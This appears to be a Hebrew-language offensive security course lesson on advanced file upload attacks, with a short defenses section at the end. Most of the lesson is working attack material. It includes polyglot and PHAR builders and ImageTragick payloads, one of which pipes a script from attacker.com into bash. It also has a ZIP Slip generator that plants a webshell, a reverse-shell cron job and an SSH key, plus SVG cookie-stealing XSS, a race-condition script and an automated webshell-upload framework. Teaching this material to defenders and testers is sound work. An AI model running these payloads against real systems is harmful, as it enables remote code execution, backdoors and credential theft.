לדלג לתוכן

העלאת קבצים מתקדמת - Advanced File Upload Attacks

חזרה קצרה

בקורס הבסיסי למדנו על העלאת קבצים כמו web shells וbypass של בדיקות סיומת בסיסיות. בשיעור זה נתעמק בטכניקות מתקדמות - קבצים פוליגלוטים, exploit ImageMagick, התקפת ZIP Slip, race תנאים, ועוד.


קבצים פוליגלוטים - Polyglot Files

קובץ פוליגלוט הוא קובץ שתקין בו-זמנית בשני פורמטים שונים. האפליקציה רואה אותו כתמונה תקינה, אבל השרת מריץ אותו כקוד.

GIFAR - קובץ שהוא גם GIF וגם JAR/ZIP

# Create a GIFAR
# GIF starts with GIF89a (or GIF87a)
# ZIP/JAR reads from the end of the file (End of Central Directory)

# Step 1: create a minimal GIF
printf 'GIF89a\x01\x00\x01\x00\x00\x00\x00\x21\xf9\x04\x00\x00\x00\x00\x00\x2c\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02\x44\x01\x00\x3b' > minimal.gif

# Step 2: create a JAR with malicious code
echo 'public class Evil { static { Runtime.getRuntime().exec("calc"); } }' > Evil.java
javac Evil.java
jar cf evil.jar Evil.class

# Step 3: concatenate the files
cat minimal.gif evil.jar > gifar.gif

PHAR Polyglot - PHP Archive שנראה כתמונה

<?php
// Create a PHAR that looks like a JPEG
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$phar->setStub(
    "\xff\xd8\xff\xe0" .  // JPEG magic bytes
    '<?php __HALT_COMPILER(); ?>'
);

// Add a dangerous object to the metadata
class Exploit {
    public $command = "id";
    function __destruct() {
        system($this->command);
    }
}

$phar->setMetadata(new Exploit());
$phar->stopBuffering();

// Rename to JPEG
rename('exploit.phar', 'exploit.jpg');
?>

הexploit ה-PHAR דרך פונקציות PHP שתומכות ב-stream wrappers:

// If the application performs one of the following operations on the uploaded file:
file_exists("phar://uploads/exploit.jpg");
file_get_contents("phar://uploads/exploit.jpg");
include("phar://uploads/exploit.jpg");
// the metadata will be deserialized and the destructor will run

יצירת פוליגלוט עם עריכת Hex

#!/usr/bin/env python3
"""
Create a PNG file that contains PHP code
"""

# PNG header (8 bytes)
png_header = b'\x89PNG\r\n\x1a\n'

# IHDR chunk (minimal)
import struct
import zlib

width = 1
height = 1
bit_depth = 8
color_type = 2  # RGB

ihdr_data = struct.pack('>IIBBBBB', width, height, bit_depth, color_type, 0, 0, 0)
ihdr_crc = zlib.crc32(b'IHDR' + ihdr_data) & 0xffffffff
ihdr_chunk = struct.pack('>I', 13) + b'IHDR' + ihdr_data + struct.pack('>I', ihdr_crc)

# tEXt chunk with PHP code
php_code = b'<?php system($_GET["cmd"]); ?>'
text_data = b'Comment\x00' + php_code
text_crc = zlib.crc32(b'tEXt' + text_data) & 0xffffffff
text_chunk = struct.pack('>I', len(text_data)) + b'tEXt' + text_data + struct.pack('>I', text_crc)

# IDAT chunk (pixel data)
raw_data = b'\x00' + b'\xff\x00\x00'  # 1 red pixel
compressed = zlib.compress(raw_data)
idat_crc = zlib.crc32(b'IDAT' + compressed) & 0xffffffff
idat_chunk = struct.pack('>I', len(compressed)) + b'IDAT' + compressed + struct.pack('>I', idat_crc)

# IEND chunk
iend_crc = zlib.crc32(b'IEND') & 0xffffffff
iend_chunk = struct.pack('>I', 0) + b'IEND' + struct.pack('>I', iend_crc)

# Write the file
with open('polyglot.php.png', 'wb') as f:
    f.write(png_header + ihdr_chunk + text_chunk + idat_chunk + iend_chunk)

print("[+] Created polyglot PNG with PHP code")

הexploit ImageMagick - ImageTragick

רקע

ImageMagick היא ספרייה פופולרית לעיבוד תמונות. CVE-2016-3714 (ImageTragick) מאפשרת הרצת קוד דרך עיבוד תמונות.

Payload ב-MVG

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/"|id")'
pop graphic-context

שמרו כ-exploit.mvg והעלו לאפליקציה שמשתמשת ב-ImageMagick.

Payload ב-SVG

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
  "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="640px" height="480px" xmlns="http://www.w3.org/2000/svg"
     xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="https://example.com/image.jpg&quot;|id &quot;"
       x="0" y="0" height="640px" width="480px"/>
</svg>

SSRF דרך ImageMagick

push graphic-context
viewbox 0 0 640 480
fill 'url(http://169.254.169.254/latest/meta-data/iam/security-credentials/)'
pop graphic-context

קריאת קבצים

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'ephemeral:/etc/passwd'
pop graphic-context

Payloads מתקדמים יותר

# Use a delegate to achieve RCE
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/x.php?x=`curl attacker.com/shell.sh|bash`)'
pop graphic-context
<!-- SVG with an embedded script -->
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <use xlink:href="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxmb3JlaWduT2JqZWN0IHdpZHRoPSIxMDAiIGhlaWdodD0iMTAwIj48Ym9keSB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCI+PGltZyBzcmM9Imh0dHA6Ly9hdHRhY2tlci5jb20vP3g9MSIvPjwvYm9keT48L2ZvcmVpZ25PYmplY3Q+PC9zdmc+#x"/>
</svg>

התקפת ZIP Slip

עקרון הפעולה

כשאפליקציה מחלצת קובץ ZIP, היא בדרך כלל משתמשת בשם הקובץ מתוך ה-ZIP כנתיב. אם שם הקובץ מכיל ../, ניתן לכתוב קבצים מחוץ לתיקייה המיועדת.

יצירת ZIP זדוני עם Python

#!/usr/bin/env python3
"""
Create a ZIP file with Path Traversal
"""
import zipfile
import io

def create_zip_slip(output_filename, target_path, content):
    """
    output_filename: the ZIP file name
    target_path: the target path (including ../)
    content: the content to write
    """
    with zipfile.ZipFile(output_filename, 'w') as zf:
        # A normal file (to look legitimate)
        zf.writestr('readme.txt', 'This is a normal file')

        # A malicious file with path traversal
        zf.writestr(target_path, content)

    print(f"[+] Created {output_filename}")
    print(f"[+] Malicious entry: {target_path}")

# Example 1: write a webshell
create_zip_slip(
    'exploit.zip',
    '../../../var/www/html/shell.php',
    '<?php system($_GET["cmd"]); ?>'
)

# Example 2: write a cron job
create_zip_slip(
    'cron_exploit.zip',
    '../../../etc/cron.d/backdoor',
    '* * * * * root /bin/bash -c "bash -i >& /dev/tcp/attacker.com/4444 0>&1"\n'
)

# Example 3: overwrite authorized_keys
create_zip_slip(
    'ssh_exploit.zip',
    '../../../root/.ssh/authorized_keys',
    'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAB... attacker@machine\n'
)

קוד פגיע

# Python - vulnerable
import zipfile
import os

def extract_upload(zip_path, extract_dir):
    with zipfile.ZipFile(zip_path, 'r') as zf:
        for member in zf.namelist():
            # vulnerable! does not validate the path
            zf.extract(member, extract_dir)

קוד מאובטח

# Python - secure
import zipfile
import os

def safe_extract(zip_path, extract_dir):
    with zipfile.ZipFile(zip_path, 'r') as zf:
        for member in zf.namelist():
            # path traversal check
            member_path = os.path.realpath(
                os.path.join(extract_dir, member)
            )
            if not member_path.startswith(
                os.path.realpath(extract_dir)
            ):
                raise ValueError(
                    f"Path traversal detected: {member}"
                )
            zf.extract(member, extract_dir)

SVG XSS

קבצי SVG הם XML שיכולים להכיל JavaScript:

<?xml version="1.0" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg"
     xmlns:xlink="http://www.w3.org/1999/xlink">
  <script type="text/javascript">
    alert(document.cookie);
  </script>
  <rect width="100" height="100" fill="red"/>
</svg>
<!-- SVG XSS with an event handler -->
<svg xmlns="http://www.w3.org/2000/svg">
  <rect width="100" height="100" fill="red"
        onload="fetch('http://attacker.com/?c='+document.cookie)"/>
</svg>
<!-- SVG XSS with foreignObject -->
<svg xmlns="http://www.w3.org/2000/svg">
  <foreignObject width="100" height="100">
    <body xmlns="http://www.w3.org/1999/xhtml">
      <script>alert(document.domain)</script>
    </body>
  </foreignObject>
</svg>

הinjection JavaScript ב-PDF

<!-- PDF that contains JavaScript -->
%PDF-1.4
1 0 obj
<< /Type /Catalog /Pages 2 0 R /OpenAction 4 0 R >>
endobj

4 0 obj
<< /Type /Action /S /JavaScript
   /JS (app.alert('XSS in PDF!');) >>
endobj

הrace תנאים בוולידציית העלאה - Race Condition

עקרון הפעולה

אפליקציות מסוימות מעלות את הקובץ קודם, ורק אז בודקות אותו. אם הבדיקה נכשלת - מוחקות אותו. ניתן לנצל את חלון הזמן בין ההעלאה למחיקה:

Upload --> file written to disk --> check --> deletion
                |                           |
                +--- time window for access -------+

סקריפט exploit

#!/usr/bin/env python3
"""
Race condition exploit for file upload
"""
import requests
import threading
import time

TARGET = "http://vulnerable-app.com"
UPLOAD_URL = f"{TARGET}/upload"
SHELL_URL = f"{TARGET}/uploads/shell.php"

def upload_shell():
    """Upload the webshell over and over"""
    files = {'file': ('shell.php', '<?php system($_GET["cmd"]); ?>')}
    while True:
        try:
            requests.post(UPLOAD_URL, files=files, timeout=2)
        except:
            pass

def access_shell():
    """Try to access the shell over and over"""
    while True:
        try:
            response = requests.get(
                f"{SHELL_URL}?cmd=id",
                timeout=2
            )
            if response.status_code == 200 and "uid=" in response.text:
                print(f"[+] SUCCESS! Output: {response.text}")
                return True
        except:
            pass

# Run in parallel
print("[*] Starting race condition exploit...")
upload_thread = threading.Thread(target=upload_shell)
access_thread = threading.Thread(target=access_shell)

upload_thread.daemon = True
access_thread.daemon = True

upload_thread.start()
access_thread.start()

access_thread.join(timeout=30)

טכניקות bypass נוספות

Content-Type מול סיומת

# Send a PHP file with an image Content-Type
files = {
    'file': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'image/jpeg')
}
requests.post(url, files=files)

סיומת כפולה - Double Extension

shell.php.jpg     # Apache may run it as PHP
shell.php.xxx     # if xxx is unknown, it falls back to PHP
shell.pHp         # bypass a case-sensitive check

Null Byte - בייט אפס (מערכות ישנות)

shell.php%00.jpg  # URL encoded null byte
shell.php\x00.jpg # in old versions of PHP (<5.3.4)

העלאת .htaccess

אם אפשר להעלות קובץ .htaccess לתיקיית ההעלאות ב-Apache:

# .htaccess that makes PHP run for .jpg files
AddType application/x-httpd-php .jpg

# Or with a custom handler
<FilesMatch "\.jpg$">
    SetHandler application/x-httpd-php
</FilesMatch>
# Step 1: upload .htaccess
files = {'file': ('.htaccess', 'AddType application/x-httpd-php .jpg')}
requests.post(upload_url, files=files)

# Step 2: upload a webshell with a .jpg extension
files = {'file': ('shell.jpg', '<?php system($_GET["cmd"]); ?>')}
requests.post(upload_url, files=files)

# Step 3: access the shell
requests.get(f"{target}/uploads/shell.jpg?cmd=id")

העלאת web.config (IIS)

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
  <system.webServer>
    <handlers accessPolicy="Read, Script, Write">
      <add name="web_config"
           path="*.config"
           verb="*"
           modules="IsapiModule"
           scriptProcessor="%windir%\system32\inetsrv\asp.dll"
           resourceType="Unspecified"
           requireAccess="Write"
           preCondition="bitness64" />
    </handlers>
    <security>
      <requestFiltering>
        <fileExtensions>
          <remove fileExtension=".config" />
        </fileExtensions>
      </requestFiltering>
    </security>
  </system.webServer>
</configuration>
<!--
<%
Response.Write("RCE via web.config!")
Set objShell = CreateObject("WScript.Shell")
Set objExec = objShell.Exec("cmd /c whoami")
Response.Write(objExec.StdOut.ReadAll())
%>
-->

תרחיש exploit מלא

#!/usr/bin/env python3
"""
Advanced File Upload Exploitation Framework
"""
import requests
import sys

class FileUploadExploiter:
    def __init__(self, target_url, upload_endpoint, upload_dir):
        self.target = target_url
        self.upload_url = f"{target_url}/{upload_endpoint}"
        self.upload_dir = f"{target_url}/{upload_dir}"

    def try_direct_php(self):
        """Try a direct PHP upload"""
        print("[*] Trying direct PHP upload...")
        files = {'file': ('shell.php', '<?php system($_GET["c"]); ?>')}
        r = requests.post(self.upload_url, files=files)
        return self._check_shell("shell.php")

    def try_double_extension(self):
        """Try a double extension"""
        print("[*] Trying double extension...")
        extensions = ['.php.jpg', '.php.png', '.php5', '.phtml', '.phar']
        for ext in extensions:
            filename = f"shell{ext}"
            files = {'file': (filename, '<?php system($_GET["c"]); ?>')}
            requests.post(self.upload_url, files=files)
            if self._check_shell(filename):
                return True
        return False

    def try_htaccess(self):
        """Try uploading .htaccess"""
        print("[*] Trying .htaccess upload...")
        htaccess = 'AddType application/x-httpd-php .jpg'
        files = {'file': ('.htaccess', htaccess)}
        requests.post(self.upload_url, files=files)

        files = {'file': ('shell.jpg', '<?php system($_GET["c"]); ?>')}
        requests.post(self.upload_url, files=files)
        return self._check_shell("shell.jpg")

    def try_content_type_bypass(self):
        """Try a Content-Type bypass"""
        print("[*] Trying Content-Type bypass...")
        files = {
            'file': ('shell.php', '<?php system($_GET["c"]); ?>', 'image/jpeg')
        }
        r = requests.post(self.upload_url, files=files)
        return self._check_shell("shell.php")

    def _check_shell(self, filename):
        """Check whether the shell works"""
        url = f"{self.upload_dir}/{filename}?c=echo+PWNED"
        try:
            r = requests.get(url, timeout=5)
            if "PWNED" in r.text:
                print(f"[+] Shell uploaded: {url}")
                return True
        except:
            pass
        return False

    def run(self):
        """Run all the methods"""
        methods = [
            self.try_direct_php,
            self.try_double_extension,
            self.try_content_type_bypass,
            self.try_htaccess,
        ]
        for method in methods:
            if method():
                return True
        print("[-] All methods failed")
        return False

הגנות

שינוי שם קבצים

import uuid
import os

def safe_upload(file):
    # Create a completely new name
    ext = os.path.splitext(file.filename)[1].lower()
    allowed_ext = {'.jpg', '.jpeg', '.png', '.gif', '.pdf'}
    if ext not in allowed_ext:
        raise ValueError("Extension not allowed")

    new_name = f"{uuid.uuid4()}{ext}"
    file.save(os.path.join(UPLOAD_DIR, new_name))

אחסון מחוץ ל-webroot

# Store outside the public directory
UPLOAD_DIR = "/var/uploads/"  # not under /var/www/html/

# Serve through a controller
@app.route('/files/<filename>')
def serve_file(filename):
    return send_from_directory(UPLOAD_DIR, filename)

וולידציית תוכן

import magic

def validate_content(filepath):
    mime = magic.from_file(filepath, mime=True)
    allowed_mimes = {'image/jpeg', 'image/png', 'image/gif'}
    if mime not in allowed_mimes:
        os.remove(filepath)
        raise ValueError(f"Invalid content type: {mime}")

דומיין נפרד להעלאות

# Serve files from a separate domain to prevent XSS
uploads.example-cdn.com  # a completely different domain

סיכום

טכניקה שימוש דרישות
פוליגלוט הbypass בדיקת תוכן ידע ב-hex editing
ImageTragick RCE/SSRF דרך תמונות ImageMagick לא מעודכן
ZIP Slip כתיבת קבצים מחוץ לתיקייה הextraction ZIP ללא ולידציה
SVG XSS XSS דרך העלאת תמונות הגשת SVG ישירות
Race Condition הexploit חלון זמן בין העלאה למחיקה העלאה ובדיקה לא אטומיות
.htaccess שינוי הגדרות Apache אפשרות להעלות .htaccess
סיומת כפולה הbypass בדיקת סיומת הגדרת Apache/Nginx ספציפית